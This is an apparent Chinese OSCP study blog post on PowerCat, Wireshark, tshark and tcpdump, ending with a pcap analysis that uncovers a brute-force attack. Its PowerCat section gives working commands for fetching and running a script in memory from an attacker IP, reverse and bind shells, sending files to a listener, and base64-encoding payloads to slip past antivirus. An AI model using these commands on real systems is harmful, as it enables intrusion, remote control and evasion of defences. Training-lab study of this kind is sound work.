关注 泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
PowerCat
概述
-
定义:基于 PowerShell 的 Netcat 变种,支持 TCP/UDP 通信、端口转发和反向 Shell。 -
优势:无需安装,可直接在内存中运行,规避杀毒软件检测(上一章的原版powershell不关WD直接用不了,实际环境中是很鸡肋的)。
渗透测试用途
-
反向 Shell:绕过防火墙建立远程控制通道。 -
文件传输:在攻击者和目标间传输数据。 -
端口扫描:探测开放端口和服务。 -
代理跳板:通过目标主机访问内网资源。
使用方法
步骤 1:加载 PowerCat
# kali下载
sudo apt install powercat
#安装后文件位于,/usr/share/windows-resources/powercat,需要拷贝到windows中执行
# Windows下载kali的文件
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://172.168.169.128:8000/powercat.ps1','C:UsersAdministratorDownloadspowercat.ps1')"
# Windows远程加载(常用),不加载用不了的
IEX (New-Object Net.WebClient).DownloadString('http://172.168.169.128:8000/powercat.ps1')
步骤 2:常用操作
# 监听端口并获取反向 Shell(攻击者端)
powercat -l -p 4444 -e cmd
# 目标机连接攻击者(反向 Shell)
powercat -c attacker_ip -p 4444 -e cmd
# 端口转发(将本地 8080 转发到 10.0.0.1:80)
powercat -l -p 8080 -r tcp:10.0.0.1:80
记得关闭Windows Defender不然执行不成功。
powercat 传输文件
kali:nc -nvlp 8000 > ahell.txt #接收端
powercat -c 172.168.169.128 -p 8000 -i hello.txt #发送端
-c #客户端
-p #目标端口
-i #要传输的本地文件
反弹shell
Kali:nc -nvlp 443 #控制端
powercat -c 172.168.169.128 -p 443 -e cmd.exe #被控端
正向shell
powercat -l -p 4443 -e cmd.exe #被控端
kali: nc 172.168.169.136 4443 #控制端
加密防微软
powercat -c 172.168.169.128 -p 443 -e cmd.exe -ge > bmshell.ps1
# -ge(base64编码)
# 编码以后就是全是乱码,所以在杀毒软件,或者说防守方看起来就不像是这个恶意的一个脚本文件。
powershell.exe -E (bmshell.ps1用notepad打开复制编码)
# 执行成功
Wireshark
Wireshark 和 Burp Suite 是两款广泛用于网络分析和安全测试的工具,但它们在功能、使用场景和目标用户上有显著区别。以下是两者的主要区别:
1. 核心功能
-
Wireshark -
网络协议分析工具:主要用于捕获和分析网络流量(所有经过网卡的数据包)。 -
被动监听:监控网络流量,不能直接修改数据包。 -
协议解析:支持数千种协议(如 TCP/IP、HTTP、DNS、ARP 等),提供详细的协议层级解析。 -
用途:网络故障排查、性能分析、协议学习、安全取证(如抓取恶意流量)。 -
Burp Suite -
Web 安全测试工具:专注于 Web 应用程序的渗透测试和漏洞挖掘。 -
主动拦截与修改:作为代理服务器拦截、修改和重放 HTTP/HTTPS 请求。 -
模块化功能:包含 Scanner(漏洞扫描)、Intruder(暴力破解)、Repeater(请求重放)、Proxy(流量拦截)等模块。 -
用途:测试 SQL 注入、XSS、CSRF 等 Web 漏洞,模拟攻击行为。
2. 使用场景
-
Wireshark -
分析网络层(如 TCP 连接问题)或传输层(如丢包、延迟)问题。 -
监控所有网络流量(包括非 HTTP 协议,如 DNS、ICMP、VoIP)。 -
解密 SSL/TLS 流量(需配置私钥)。 -
Burp Suite -
测试 Web 应用程序的安全性(如 API、网站前后端)。 -
修改 HTTP 请求参数(如 Cookie、Header)以验证漏洞。 -
自动化扫描 Web 应用的常见漏洞(如 OWASP Top 10)。
3. 协议支持
-
Wireshark -
支持几乎所有网络协议(从底层以太网到应用层协议)。 -
适用于分析非 Web 流量(如 FTP、SSH、SMTP)。 -
Burp Suite -
主要针对 HTTP/HTTPS 协议,部分功能支持 WebSocket。 -
无法直接分析非 HTTP 流量(如 ICMP、TCP 握手过程)。
4. 操作方式
-
Wireshark -
需要选择网卡或导入抓包文件( .pcap
)。 -
通过过滤器(如 http.request.method == "GET"
)筛选流量。 -
Burp Suite -
需要配置浏览器代理(如 127.0.0.1:8080
)以拦截流量。 -
通过模块化工具链(如 Proxy → Repeater → Intruder)进行测试。
5. 用户角色
-
Wireshark -
网络管理员、运维工程师、协议开发人员。 -
Burp Suite -
安全工程师、渗透测试人员、Web 开发人员。
6. 典型应用示例
-
Wireshark -
分析为什么某个设备无法连接到服务器(检查 TCP 三次握手是否完成)。 -
捕获 DNS 查询失败的根本原因。 -
Burp Suite -
修改登录请求中的密码参数,测试是否存在 SQL 注入漏洞。 -
使用 Intruder 模块暴力破解弱密码。
总结
对比项 | Wireshark | Burp Suite |
---|---|---|
定位 |
|
|
协议支持 |
|
|
操作方式 |
|
|
核心用户 |
|
|
典型场景 |
|
|
协同使用
在实际工作中,两者可以互补:
-
用 Wireshark 抓取底层网络问题(如 TCP 连接失败)。 -
用 Burp Suite 深入测试 Web 应用逻辑漏洞(如越权访问)。
实操
使用root账号运行wireshark存在风险
抓包能力通过/usr/bin/dumpcap实现,默认只有root,wireshark组成员抓包
.允许普通用户在所有网卡抓包
sudo usermod -aG wireshark $USER
指定ip地址,或者直接选择网卡查看实时流量
用筛选器做流量筛选
ip.addr==172.168.169.128
一、Wireshark 图形界面常用过滤语法
在 Wireshark 的过滤栏中,可以通过协议、字段、逻辑运算符等快速筛选数据包。以下是一些常用过滤命令:
1. 基础过滤
-
按协议过滤:
tcp # 显示所有 TCP 流量
udp # 显示所有 UDP 流量
http # 显示 HTTP 流量
dns # 显示 DNS 查询/响应
icmp # 显示 ICMP 流量(如 ping)
ssl # 显示 SSL/TLS 流量
-
按 IP 地址过滤:
ip.addr == 192.168.1.100 # 显示与指定 IP 相关的流量(源或目标)
ip.src == 192.168.1.100 # 显示源 IP 为 192.168.1.100 的流量
ip.dst == 10.0.0.1 # 显示目标 IP 为 10.0.0.1 的流量
-
按端口过滤:
tcp.port == 80 # 显示 TCP 端口为 80 的流量(HTTP)
udp.port == 53 # 显示 UDP 端口为 53 的流量(DNS)
tcp.dstport == 443 # 显示目标 TCP 端口为 443 的流量(HTTPS)
2. 高级过滤
-
组合逻辑运算符:
http && ip.src == 192.168.1.100 # 显示指定 IP 的 HTTP 流量
tcp.port == 80 || tcp.port == 443 # 显示 HTTP 或 HTTPS 流量
!arp # 排除所有 ARP 流量
-
按内容过滤:
http.request.uri contains "login"# 显示 URL 包含 "login" 的 HTTP 请求
tcp.payload contains "password"# 显示 TCP 载荷中包含 "password" 的数据包
-
按协议字段过滤:
http.response.code == 404 # 显示所有 HTTP 404 响应
tcp.flags.syn == 1 # 显示 TCP SYN 标志位为 1 的数据包(握手)
dns.qry.type == A # 显示 DNS A 记录查询
3. 流量分析
-
统计特定流量:
tcp.analysis.retransmission # 显示 TCP 重传的数据包
tcp.analysis.duplicate_ack # 显示重复确认包
tcp.analysis.zero_window # 显示 TCP 零窗口(流量控制问题)
-
时间范围过滤:
frame.time >= "2023-10-01 12:00:00" && frame.time <= "2023-10-01 13:00:00"
二、命令行工具 tshark
的实用命令
tshark
是 Wireshark 的命令行版本,适用于服务器环境或自动化脚本。
1. 基本捕获
tshark -i eth0 # 捕获 eth0 网卡的流量
tshark -i any # 捕获所有网卡的流量
tshark -w output.pcap # 将捕获的流量保存到文件
tshark -r input.pcap # 读取并分析已有的抓包文件
2. 过滤捕获
tshark -i eth0 -f "tcp port 80"# 捕获 TCP 80 端口的流量(BPF 语法)
tshark -i eth0 -Y "http"# 捕获并实时显示 HTTP 流量(显示过滤)
tshark -r input.pcap -Y "ip.addr==192.168.1.100"# 从文件过滤指定 IP
3. 输出格式
tshark -r input.pcap -T fields -e ip.src -e http.request.uri # 提取指定字段
tshark -r input.pcap -V # 显示详细协议解析
tshark -r input.pcap -qz "io,phs"# 统计流量协议分布
4. 高级功能
-
提取 HTTP 请求:
tshark -r input.pcap -Y "http.request" -T json > http_requests.json
-
统计 TCP 会话:
tshark -r input.pcap -qz conv,tcp # 列出所有 TCP 会话(源/目标 IP 和端口)
-
解密 HTTPS 流量(需私钥):
tshark -r encrypted.pcap -o "tls.keylog_file:sslkeylog.log" -Y "http"
三、其他实用技巧
-
保存过滤器: 在 Wireshark 中右键点击过滤栏 → "Save Filter" 可保存常用过滤条件。 -
导出特定数据:
-
导出 HTTP 文件: File → Export Objects → HTTP
。 -
导出特定数据包:右键数据包 → "Export Packet Bytes"。
-
着色规则: 通过 View → Coloring Rules
自定义颜色标记特定流量(如高亮错误码 500)。
总结
场景 | 命令/语法示例 |
---|---|
|
tshark -i eth0 -Y "http" |
|
dns && ip.src==192.168.1.100 |
|
tcp.analysis.retransmission |
|
http.request.uri contains "admin" |
通过灵活组合过滤语法和命令行工具,可以快速定位网络问题或分析安全事件。
Tcpdump
Tcpdump 106是基于文本的网络嗅探器,尽管缺少图形界面,但仍具有简化,强大和灵活的特点。它是迄今为止最常用的命令行数据包分析器,可以在大多数Unix和Linux操作系统上找到,但是本地用户权限决定了捕获网络流量的能力。
# 下载官网练习包
wget wget https://www.offensive-security.com/pwk-online/password_cracking_filtered.pcap
# 用tcpdump读取流量包
sudo tcpdump -r password_cracking_filtered.pcap
读取是全部显示的,我们可以用一些脚本来做过滤。
sudo tcpdump -n -r password_cracking_filtered.pcap | awk -F" "'{print $3}' | sort | uniq -c | head
sudo tcpdump -n -r password_cracking_filtered.pcap | awk -F" "'{print $5}' | sort | uniq -c | head
sudo tcpdump -n -r password_cracking_filtered.pcap | # 读取抓包文件
awk -F" "'{print $3}' | # 提取第三列字段
sort | # 排序
uniq -c | # 统计唯一值出现次数
head # 显示前10行结果
也可以用tshark来做这个功能
tshark -r password_cracking_filtered.pcap -T fields -e ip.dst | sort | uniq -c | sort -nr | head
可以发现172.16.40.10
这个ip请求量尤其多,推测是有爆破攻击行为。所以进一步排查。
sudo tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n dst host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n port 81 -r password_cracking_filtered.pcap
sudo tcpdump -nX -r password_cracking_filtered.pcap
发现有一些和admin字样相关的信息
sudo tcpdump -A -n 'tcp[13] = 24' -r password_cracking_filtered.pcap
sudo tcpdump -A -n "tcp[13]=24" -r password_cracking_filtered.pcap | grep ^Authorization | sort -u
sudo tcpdump -A -n "tcp[13]=24" -r password_cracking_filtered.pcap | grep ^Authorization | sort -u | cut -d " " -f 3 | base64 -d
优化显示输出
sudo tcpdump -A -n "tcp[13]=24" -r password_cracking_filtered.pcap |
grep '^Authorization' |
sort -u |
cut -d " " -f 3 |
whileread line; doecho"$line" | base64 -d; echo; done
可以看到这个行为就是在爆破admin用户的密码。
原文始发于微信公众号(泷羽Sec-静安):Day12 Kali渗透工具Powercat和Wireshark、tcpdump
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论